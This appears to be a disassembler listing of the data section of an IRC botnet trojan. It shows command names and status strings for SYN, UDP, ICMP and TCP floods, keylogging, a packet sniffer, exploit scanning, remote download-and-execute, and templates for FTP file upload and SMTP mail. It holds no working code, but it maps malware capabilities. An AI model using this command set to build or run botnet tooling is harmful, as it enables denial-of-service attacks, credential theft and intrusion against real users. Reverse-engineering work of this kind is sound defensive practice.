dword_436840 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+40E8o
dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4094o
align 10h
dword_436870 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_412EBEo
dd 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_436894 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Co
; sub_40EE72+40BFo ...
unk_4368A4 db 2 ; DATA XREF: sub_40EE72:loc_412E2Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_4368F8 db 2 ; DATA XREF: sub_40EE72+3FAFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_436944 db 2 ; DATA XREF: sub_40EE72+3F40o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 75h, 70h, 64h
db 61h ; a
db 74h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E97o
align 4
dword_43698C dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
; DATA XREF: sub_40EE72+3E35o
dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h
unk_4369B4 db 2 ; DATA XREF: sub_40EE72+3E2Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 65h, 78h, 65h
db 63h ; c
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
unk_4369E8 db 2 ; DATA XREF: sub_40EE72+3DA2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_436A34 db 2 ; DATA XREF: sub_40EE72+3D28o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_436A74 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
; DATA XREF: sub_40EE72:loc_412AFBo
; sub_40EE72:loc_413964o
dd 0BBBB0220h, 2002h
unk_436A90 db 2 ; DATA XREF: sub_40EE72+3C71o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_436AC4 db 2 ; DATA XREF: sub_40EE72:loc_412AC1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_436B0C db 2 ; DATA XREF: sub_40EE72+3C45o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_436B54 db 2 ; DATA XREF: sub_40EE72+3BD1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 10h
unk_436B90 db 2 ; DATA XREF: sub_40EE72+3B4Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0
unk_436BD8 db 2 ; DATA XREF: sub_40EE72+3ADFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Ch, 6Fh
db 6Eh ; n
db 65h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_436C18 db 2 ; DATA XREF: sub_40EE72+3A57o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_436C60 db 2 ; DATA XREF: sub_40EE72+39E8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 10h
dword_436CA0 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+394Ao
dd 2BBBB02h
aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_436CE8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+38D9o
dd 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_436D24 db 2 ; DATA XREF: sub_40EE72+3860o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_436D74 db 2 ; DATA XREF: sub_40EE72+37F1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 10h
unk_436DB0 db 2 ; DATA XREF: sub_40EE72+371Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 4
unk_436E04 db 2 ; DATA XREF: sub_40EE72+36B0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
unk_436E50 db 2 ; DATA XREF: sub_40EE72+3622o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_436E9C db 2 ; DATA XREF: sub_40EE72+35B3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Fo
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3432o
align 4
dword_436F08 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A4o
; sub_40EE72+43F1o
unk_436F14 db 2 ; DATA XREF: sub_40EE72+3342o
; sub_40EE72+5179o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_436F5C db 2 ; DATA XREF: sub_40EE72+32D3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A8o
; sub_40EE72+50DDo
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+32A1o
; sub_40EE72+50D6o
align 10h
unk_436FE0 db 2 ; DATA XREF: sub_40EE72+3163o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_22 db ' Failed to start scan, no IP specified.',0
align 4
unk_437024 db 2 ; DATA XREF: sub_40EE72+301Ao
; sub_40EE72+4F21o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
dword_437070 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2FE9o
dd 2BBBB02h
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_4370B8 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2F7Ao
dd 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 10h
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
align 4
unk_437128 db 2 ; DATA XREF: sub_40EE72+2E8Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_437170 db 2 ; DATA XREF: sub_40EE72+2E22o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_4371C8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_411BF4o
dd 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 10h
dword_437210 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2D78o
dd 2BBBB02h
aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_437258 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2CFEo
dd 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o
dword_4372AC dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2C4Co
dd 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_4372E4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4119D3o
dd 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_437320 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2B5Ao
dd 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o
align 4
dword_437398 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2A8Ao
dd 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o
align 10h
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do
align 10h
unk_4373F0 db 3 ; DATA XREF: sub_40EE72+2A11o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 65h
db 6Dh ; m
db 61h, 69h, 6Ch
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5MessageSentTo db '5 Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a__0: ; DATA XREF: sub_40EE72+2901o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o
align 4
aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo
align 4
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o
align 4
aP: ; DATA XREF: sub_40EE72+286Do
unicode 0, <p>,0
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo
align 4
aU: ; DATA XREF: sub_40EE72+2828o
unicode 0, <u>,0
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo
align 4
aAsc db 'asc',0 ; DATA XREF: sub_40EE72+27E3o
aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o
align 10h
aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co
align 10h
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo
align 4
aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o
aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o
align 4
aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o
align 10h
aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o
aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo
aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o
align 4
aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo
align 4
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao
aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o
align 10h
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o
align 4
aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo
align 4
aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o
align 4
aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o
align 4
aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o
align 10h
aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o
aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o
aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo
aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o
align 10h
aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do
align 4
aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o
align 4
aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo
align 10h
aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o
aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o
align 4
aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao
aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o
align 10h
aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o
align 10h
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o
align 4
aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o
align 4
aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo
align 10h
aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o
align 4
aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do
align 4
aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o
align 4
aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo
align 4
aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o
align 10h
aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o
aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao
align 4
aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o
align 4
aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo
align 4
aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o
aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo
aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o
dword_43773C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4110C9o
dd 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_437768 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_4110C2o
dd 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_437798 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_411077o
dd 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_4377C4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+21FEo
dd 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao
align 4
dword_4377FC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_410FF1o
dd 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_43782C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2175o
dd 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo
align 4
aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo
align 4
aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o
align 4
dword_43787C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72:loc_410F1Co
dd 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_4378AC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+20A0o
dd 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 10h
dword_4378E0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+2036o
dd 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o
unk_437930 db 2 ; DATA XREF: sub_40EE72+1FD1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_43797C db 2 ; DATA XREF: sub_40EE72+1F66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_4379AC db 2 ; DATA XREF: sub_40EE72+1EE5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_4379DC db 2 ; DATA XREF: sub_40EE72:loc_410D33o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_437A18 db 2 ; DATA XREF: sub_40EE72+1EB7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do
align 10h
unk_437A70 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_437AA8 db 2 ; DATA XREF: sub_40EE72+1E49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o
; sub_40EE72+1E94o
unk_437AF4 db 2 ; DATA XREF: sub_40EE72+1E1Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0
align 10h
unk_437B40 db 2 ; DATA XREF: sub_40EE72+1DACo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 10h
unk_437B80 db 2 ; DATA XREF: sub_40EE72+1D45o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
